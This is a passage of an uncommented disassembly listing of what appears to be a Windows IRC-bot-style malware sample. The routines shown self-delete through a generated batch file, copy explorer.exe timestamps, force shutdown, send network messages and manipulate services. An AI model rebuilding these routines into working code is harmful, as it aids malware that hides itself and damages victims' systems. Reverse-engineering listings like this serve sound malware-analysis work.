		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2680C22h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27E0000h
		nop
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB17C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9A4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9C4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		nop
		call	near ptr 27F076Bh
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27F0000h
		call	dword_4CBA28
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9E0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 280049Ah
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2800341h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA30
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA30
		push	ebx
		nop
		call	near ptr 2800000h
		push	edi
		nop
		call	near ptr 2670000h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 28106A2h
		nop
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2810000h
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB914
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAA4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 26A0000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 27107B7h
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2700000h
		push	edi
		nop
		call	near ptr 2670000h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB88
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 2690214h
		nop
		push	eax
		nop
		call	near ptr 2670630h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 269010Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2690000h


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2820000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2670323h


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D0503h
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB954
		push	edi
		push	eax
		call	dword_4CB964
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_4394FC


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_4394D4
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394A4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26D0503h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	near ptr 26A0CBDh
		nop
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26B0000h
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27A0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439520[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43951C[esi]
		push	offset unk_439630


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA40
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439604
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA40
		push	off_439518[eax*4]
		push	offset unk_4395E0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9C8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		call	near ptr 2680C22h
		nop
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8B0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		nop
		call	near ptr 2680C22h
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB91C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8B8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB920


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		call	near ptr 2680C22h
		nop
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8CC


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8CC
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB380
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB380
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB380
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9C8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB994
		test	eax, eax
		jnz	short loc_418F1A
		nop
		call	near ptr 2680C22h
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
